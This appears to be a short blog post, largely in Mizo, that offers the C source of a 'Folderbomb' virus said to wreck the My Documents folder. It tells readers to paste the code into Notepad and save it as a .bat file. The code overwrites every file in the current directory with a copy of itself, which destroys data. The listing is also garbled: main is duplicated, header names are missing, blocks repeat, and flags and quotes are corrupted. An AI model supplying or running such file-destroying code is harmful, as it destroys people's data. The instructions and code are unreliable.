virus
“My documents ” delete tur VIRUS C program hmanga siamdan (full program code)
**DISCLAIMER: I Virus siamah a ziaktu in mawh a phur lo ang π
A hnuaia C program code kan tarlan khuan MY DOCUMENTS folder a tibuai thei a,folder chhungah folder dang tam tak siamin ,virus chimawm tak ani ang.I tihtur zawng chu a hnuaia code khu notepad ah i copy+paste (ctrl+c & ctrl+v) anga, i hming duh duh a save in , a file extension ah .bat i hmang dawn nia(entirnan VIRUS.BAT).
A code chu :
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(βββββββββββββββββββββββββββ);
printf(β\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\nβ);
cprintf(βββββββββββββββββββββββββββ);
done = findfirst(β*.*β,&ffblk,0);
while (!done)
{ printf(β\nβ);cprintf(β %s β, ffblk.ff_name);printf(βis attacked by β);cprintf(βFolderbombβ);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(βββββββββββββββββββββββββββ);
printf(β\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\nβ);
cprintf(βββββββββββββββββββββββββββ);
done = findfirst(β*.*β,&ffblk,0);
while (!done)
{ printf(β\nβ);cprintf(β %s β, ffblk.ff_name);printf(βis attacked by β);cprintf(βFolderbombβ);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
Β